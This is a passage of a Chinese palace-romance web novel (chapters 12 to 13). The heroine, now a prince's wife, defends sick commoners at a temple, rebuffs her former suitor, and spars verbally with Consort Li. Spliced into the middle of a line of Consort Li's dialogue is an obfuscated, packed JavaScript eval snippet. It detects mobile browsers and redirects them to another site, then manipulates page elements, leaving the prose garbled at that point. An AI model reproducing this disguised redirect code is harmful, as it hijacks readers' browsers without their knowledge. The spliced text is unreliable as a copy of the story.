就在夏若初惶然无依,家宅不宁,期盼有人能信她、护她之时,温淮璋却放弃了她。 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柳氏逐步侵占沈家的产业,转而在宫中为温佑宁铺路打点,助她获得圣宠,她的亲生女儿则攀附上了三品太常寺卿的公子,前途无量的温淮璋。 对柳氏而言,嫁入侯府还不够,她一面上位成为当家主母,一面要连接宠妃与朝堂势力,成为她根基牢固的利益网,从此荣华富贵源源不断。 夏若初并不怨恨温淮璋不娶她。她又不是非他不嫁。 人人有权选择对家族最有利的道路。 他不信她,跟着外人指责她,她亦只当他与平常人一般,有眼无珠罢了。 让她痛恨的是,柳氏侵吞沈家财产,她不信温淮璋毫无察觉,但他却视而不见。 为了自家前程利益,眼睁睁看着夏若初和母亲被人践踏,这就等同于助纣为虐。 是以,她绝不会原谅他。 “我管他什么少傅。”她语气清冷,“蝙蝠身上插羽毛,不是什么好鸟。” 话音一字不落钻进张宝耳朵里,他惊得大张着嘴,疑心自己听错了。 再抬眸时,夏若初面色平静,唯独眸底一片寒意。 “回去禀告丽妃娘娘,莲灯寺西院所有禅房,早已由肃王府定下。我说让百姓住,他们便能住;我说不准驱赶,便谁也不许动他们。” 此言一出,人群皆动容。 尚游与江刃对视一眼,不约而同泛起笑意,神情流露出钦佩。 张宝急了。 “哎呦我的王妃!您这话可就欠思量了,宫里的娘娘何等金贵,莫非还比不上这些贱民?” “丽妃娘娘如今圣眷正浓,皇上今春还特为娘娘修了醉霞池,种了满池的芙蓉。” 他停了停,低声劝道:“便是肃王殿下在此,想来也会给丽妃娘娘几分颜面。王妃何必为了不相干的人伤了和气?” “瞧奴婢这记性。”他忽然又忆起什么,面上堆笑。 “夏府三娘子与温少傅的婚事,不是正在过礼吗?丽妃娘娘这些年可是为永宁侯府尽了不少力啊!” “若将来两家结了姻亲,王妃与丽妃娘娘便是一家人,自然是同气连枝,共享富贵……” “我呸。”夏若初扔出两个字。 如同一记响亮的耳光,将张宝那张滔滔不绝的嘴堵了回去。 “你听好了。”她字字清晰,“我已嫁入肃王府,与夏家和温家此生再无瓜葛。” “我行事只凭对得起天地良心,丽妃娘娘若无错处,我自不会多事。但要是恃强凌弱,既让我看见,便不会让它过去。” 她冷冷一笑。 “便是你们的少傅大人,若敢仗势欺人,我也定不会放过。” 就在这时,一道温和却略微颤抖的男声,带着惊喜,自身后传来。 “初妹妹!” 这谁呀,唤得这么肉麻? 夏若初的肌肤上瞬间起了一层细密的疙瘩。 只见张宝与一众府卫齐齐面向她身后,躬身行礼,“见过少傅大人!” 夏若初心头猛地一沉。 是的,这世上只有一人会这样唤她。 那个曾陪伴她长大的谦谦君子,如今东宫最受器重的少傅。 那个差一点与她定下婚约,后来为了夏兰萱,将她推入冰湖险些丧命的人。 她蹙紧眉,极不情愿地回过身。 数步之外,身着青墨长衫的温淮璋正站在那里。 那双目光温情脉脉地望着她,眼底像是盛着一汪化不开的哀伤,眷恋又惆怅。 “初妹妹,我终于又见到你了。” 13. 第 13 章 温淮璋的视线落在她身上,便似乎被缚住,再难移开。 夏若初只扫了他两眼,便如同陌路人般,侧过脸朝向张宝,“你的人到底走是不走?莫非要与我肃王府亲卫对峙?” “初儿……” 身后传来一道低微的呼唤,离得近了,却又带着几分不敢上前的迟疑。 这亲密的称呼让夏若初很是不适,她回身,见男人双目痴痴地凝望自己,仿若无限深情。 真是可笑。 他们分明早已形同陌路,即便她被罚去栖云观,温淮璋都未曾出面为她说过一句公道话,如今这般缠绵悱恻的神情,又是演给谁看? 心口掠过一丝细微的抽痛,她渐渐明白了,从前的夏若初,怕是不曾对这位青梅竹马的兄长冷过脸。 即便在她孤独无助的时刻,温淮璋并未施以援手,她也还是对他抱有幻想,他们自幼相识,他应了解她的为人,其中必有误会。 后来她自觉地与温淮璋疏远,也不过是因他定了婚约,她不得不避嫌。 内心深处,她仍期待终有一天误会化解,云开月明,他们仍像从前一般要好。 是以温淮璋今天才这副模样,看上去是想要和她好好叙旧。 那他可就想错了。 那个天真直率的夏若初已经死了,现在的她,可没有那份好性子与他追忆往昔情谊。 她没有打上门去就算客气了。这些人却一个接一个地惹过来,变着法子不让她安生,那就别怪她不留情面。 “温少傅请自重。” 夏若初身姿玉立,目光端静地迎向他,周身透着王府正妃的雍容气度。 “女子嫁人,便以夫家为大。在朝堂之上,我夫君是正一品郡王,掌殿前司。而你,是从四品国子监祭酒,加东宫少傅衔。 你不对我行礼,不敬我是肃王妃,我倒也不会怪罪你。可是我的闺名,也是你能叫的吗? 温淮璋眸光一颤,定定地望着她,脚下不由又向前一步。 尚游、江刃却同时侧移,拦在他与夏若初之间,“王妃不喜旁人近身,请温少傅止步。” 二人如两道门神,将他全然挡住,他只能透过缝隙望见她的裙角,再难靠近半分。 那张素来温雅含笑的脸上,终于掠过一丝克制的愠色。 “让开。”他声线沉下。 二人纹丝不动。 “以下犯上,便是肃王府的规矩?”温淮璋的声音中透出平日罕见的严厉,“我与王妃有话要说,你们拦在跟前,莫非是不将东宫与温府放在眼里?” 尚游与江刃目光微微一碰。 眼前之人终究是受人尊敬的太子少傅,便是面圣时也颇受礼遇。若他当真计较,肃王府亲卫再要阻拦,属实是僭越了。 便在此时,夏若初迈上前,反将两名近卫往身后一拦,毫不客气。 “你凶什么凶?他们是我的人。” 温淮璋倏然怔住,难以置信地看向她,眼中十分心痛。 “什么你的人?你何时变得这样粗鲁,毫无规矩体统。我从前是如何教导你的?为何你受了责罚仍不知悔改,你这样的性子,不知还要吃多少亏……” 他话至一半,化作一声轻叹,眸光黯淡。 “初儿,我知你心里怨我,我万万想不到,竟会逼得你嫁入萧家。萧承翊他……待你可好?他素来行事狂肆,可是让你受了委屈?” “温少傅此言失礼了。”夏若初打断他,面露不悦。 “萧家满门忠烈,太夫人待我如亲孙女,肃王更是国之柱石,战功赫赫,容不得旁人诋毁。” 她略一停顿,视线掠过一旁噤若寒蝉的张宝。 “温少傅若有闲心离间我们夫妻感情,不如先管好眼前之事。有人打着丽妃娘娘的名号,置天子颜面于不顾,驱逐生病的百姓,少傅难道坐视不理吗?” 温淮璋闻言眉头一蹙,冷冷转向张宝,“怎么回事?” 一旁的张宝惊惶不已。 他在丽妃身边当差,行事素来比别处的内侍张扬几分,没想到今日碰了钉子。 自娘娘先前小产后,圣上特许每季来莲灯寺礼佛三日,为早夭的皇子祈福。每次过来,周遭禅院都要清空,不许旁人居住,以免打扰娘娘静修。 新来的典座不明旧例,倒还不难解决,谁知竟会撞上肃王妃。 他原本未曾放在心上,谁见着皇帝喜爱的妃子不留几分情面? 何况这位王妃,瞧着不过刚及笄的年龄,娇娇袅袅,仿佛不食人间烟火,让人心里生不出一点防备。哪知她字字句句锋利如刀,连温少傅的脸面也不给。 而素来刚正严明的太傅大人,今日不知为何格外低声下气。 瞧那一声声“初儿”,唤得无尽深情,二人莫不是有不寻常的过往? 今日这桩差事怕是要办砸了。 张宝不敢在夏若初面前多说,只快步凑近温淮璋跟前耳语几句。温淮璋唇角微微一动,神色渐渐复杂。 静默片刻,他开口道:“无论如何,不能将生病的百姓驱至街头。此事若传至御前,必触圣怒,届时别说是你,连娘娘都无法收拾。”” “可娘娘若责罚奴婢……。”张宝苦着脸。 温淮璋断然道,“凡事有我担待,不必理会娘娘说什么。” “你能担待什么?” 一道娇脆却带着薄愠的声音蓦然响起。 前方开道的宫中亲从官无声分列两侧,一袭云霞色宫装裙袂拂过石阶,步摇衔珠,随着步履轻晃,映出细碎的光点。 女子扶着侍女的手站定,妆容明艳,她目光先掠过众人,继而才缓缓投向夏若初,微微一顿,唇角泛起温婉的笑意。 “肃王妃,果然好风采。” 正是丽妃温佑宁。 众人纷纷垂首下拜。 夏若初依规矩向她行常礼。 温佑宁并未为难她,温和抬手让她免礼。 “虽多年未见,夏四娘子越发出落得标致,难怪淮璋见着你,仍是心软。” 记忆之中,夏若初与入宫后的温佑宁并无深交,此刻亦无从判断这话里究竟有几分真意。 她只微微颔首,淡笑回应:“娘娘过誉,我并没有做任何事情需要温少傅心软,方才种种,在场的人皆可见证。” 略顿,她言辞清晰:“娘娘如今圣眷正隆,福泽深厚,想来不会与寻常百姓计较。若因底下人驱逐病弱百姓沦落街头,损及娘娘仁善之名,传至御前,只怕有负圣上平日爱重之心。” 从前她就听说过,丽妃能宠冠后宫,不仅因容貌美艳,性情柔婉,更在于她极善经营。对上恭谨,对下宽厚,与中宫、高位嫔妃皆维系着明面上的和睦。 又因弟弟温淮璋是东宫近臣,她在前朝后宫的名声一向颇为得体,必然不愿意被人拿住话柄。 果然,温佑宁闻言身形微震,随即笑意如初,“如此,倒是我误会了。” 她轻声呵斥张宝:“谁许你自作主张?还不将人好生送回去安置。” 张宝战战兢兢,连声称是,忙退下安排。僧众亦纷纷上前,帮着搀扶百姓重回禅房。 - 众人散去,温佑宁这才看向夏若初。 “四娘子为人妻后,性情似是柔和了许多。” 夏若初抬眼:“我与娘娘往日并无深交,娘娘对我知之甚少,此话从何说起?” 温佑宁仿佛闲话家常。 “都说四娘子在闺中时性情娇烈,下人稍有差错,动辄便是重罚。听说前年有个婢女,被罚在冬日脱尽衣裳跪在屋外,后来想不开,竟投了井。” “坊间都传,若是惹急了四娘子,便是烧间屋子泄愤,也是有的。”她笑意盈盈地摇头。 “我那时总不信。想着我们淮璋自幼教导出来的姑娘,又是如花似玉的容貌,怎会如此行事? 今日见你为百姓出头,方知传言终究是传言,当不得真。” 这番话说完,周遭尚未离去的几道视线,悄然落在了夏若初身上。 夏若初面色未改。 “娘娘久居深宫有所不知。世间总有人爱编派是非,尤其是那些与您非亲非故却忽然凑近的,说的话更是信不得。” “是吗?”温佑宁眸中闪过凉意。 “我还听说四娘子大婚那日,肃王殿下连堂都未拜便去了京郊猎场,我心里总是替你难受,难道这件事也是讹传?” 夏若初面色倏然一白。 周遭隐隐有人低声议论。连侍立一旁的江刃与尚游,面色也有几分不自然。 夏若初指尖微微一蜷。这种当众被人撕开脸皮的事,落在任何人耳中,终究是难堪的。 温佑宁看着她,眼中流露出几分戚戚然。 “你与淮璋自幼的情分,我们两家都看在眼里。无奈家父为人古板,最重清誉,对儿媳的品行更是容不得半点瑕疵。那些沸沸扬扬的传闻,说得有鼻子有眼,终究是误了你。” “女子终归要以夫为天。肃王是战场上搏杀出来的人,自然与淮璋这般读书人的温厚不同。你往后万事须多加忍耐,小心伺候着,切莫触了他的脾气。日子久了,或许便能慢慢磨合出几分情分来。” 话锋一转,她笑意温煦地看向温淮璋。 “好在我们两家终究是有缘分的,淮璋的婚事也定了。夏三娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999257|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽是庶出,却善良温婉,持家待客都很周到。母亲常说,这样的姑娘,与淮璋的沉静性子正是般配。我想着,你也会为他们高兴的,是吗?” 一旁的温淮璋始终沉默,面色苍白如纸,只将目光牢牢锁在夏若初脸上,似有千言万语,却终被冻结在唇边。 夏若初心中冷笑。 温佑宁能在宫中平步青云,果然不是寻常角色。 她言语间捅了夏若初无数刀子,听起来却句句在理,让人抓不住错处,反而显得她兰心蕙质,处处为人着想。 若是换了别人,忍不住急着为那些谣言辩白,反倒落了口实,像是真对没有嫁给温淮璋而耿耿于怀。 夏若初是不会傻到去自证的。 “娘娘说的极是,我自然是要祝福的。”她嫣然一笑,“不过,温少傅与温府上下,也应该感谢我才是。” 此话一出,温家兄妹皆面露讶异。 夏若初轻轻叹了口气,眼中适时浮起一层哀婉,“似我这样的弱女子,何尝能左右自己的命数?温家说要悔婚,便悔了;说二老情有可原,那便是情有可原。” “温少傅与三娘子情意深重,感天动地,若不是我做出退让,嫁入肃王府,旁人只怕要说永宁侯府姐妹二人,竟都系在少傅一人身上。” “堂堂太子少傅,先与嫡女议婚,转头又与庶女情深意浓。这话传出去,对温夏两家的清誉,怕是不太体面。我这般选择,也是为着保全两家的颜面,温府实在是欠我一份厚礼啊。” 温佑宁张了张嘴,一时无言,温淮璋更是面色苍白入纸,不知心中在想什么。 夏若初压下几乎逸出嘴角的冷笑,眼睫低垂,面露难色。 “温少傅也当留意些言行,我今日不过是想为百姓说句公道话,少傅正好过来,我本来都没认出他,他还一句接一句地唤我的名字。” 她目光澄澈地望向温淮璋,“少傅大人千万莫要如此了。方才丽妃娘娘也说,我家王爷是个暴烈性子,处事果决,不高兴了见点血光是常事,若是让他见着,我怕您这身子骨架不住。” 说罢,她不再看姐弟二人难看至极的脸色,敛衽一礼。 “既然此处已安置妥当,我便不陪二位聊天了。” 语气骤然变得轻快:“尚游、江刃,我们快去街市买好吃的去!” 转身刚要走,衣袖一角就被人从后攥住。 “初儿,我有话需与你说清楚!”温淮璋声音急切。 夏若初蹙眉回首。 “少傅大人请自重。” 丽妃面色阴沉,“淮璋,你须谨记自己今日的身份!” “与我身份何干?”温淮璋忽然提高声量,“初儿此番回了肃王府,便不知何年何日再见面,我与她说几句话,有何不可?” 他近乎咬牙切齿,“姐姐莫要忘了当日答应我的事。” 丽妃身形难以察觉地一颤,微咬下唇,没再说什么。 夏若初无心理会这姐弟二人打的哑谜,可温淮璋却似全然不顾旁人的目光,铁了心紧紧攥住她衣袖不放。 这便十分不合礼制了,两侧亲卫面面相觑,眼前是太子少傅,终究不是寻常百姓,一时竟不知该拦还是该劝。 “你们在做什么?” 一道低沉的嗓音破空而来,如平地闷雷,所有人都觉得呼吸一窒。 夏若初心肝都颤了。 她倏然回头,只见萧承翊在亲卫簇拥下,负手走来。 他一袭深青织金云纹锦袍,外罩玄色披风,身形挺拔。秋阳落在他肩头,化不开眉宇间的寒意。 锐利的目光越过众人,直直锁在她一人身上,尚未近前,那股无形的威压已沉沉笼罩住她。 尚游与江刃早已收剑垂首,默然退至一旁。 夏若初心头狂跳。 她就是被萧承翊拖出去杀了,怕是也没人敢救她。 眼下这情形,任谁看了都要生出误会。 她眼尾泪意未干,温淮璋死死拉住她衣袖,满脸执拗,她莫名有一种被人抓奸的窝窝囊囊的感觉。 这已不是解释便能说清的事,但凡萧承翊流露出一丝对她的误会,她少不得要委屈解释,那也是颜面扫地。 不得夫君宠爱的名声一旦坐实,以后她如何在外行走?养颐堂又凭什么借肃王府撑腰? 绝不能让萧承翊开口质问她。 念头一闪,夏若初猛地挣脱温淮璋的手,向着那道身影奔去。 裙袂拂过落叶,在众人愕然的注视中,她径直扑入萧承翊怀中,双臂紧紧环住他的腰身。 脸颊埋进他的胸膛,声音带着娇柔的颤意。 “夫君!”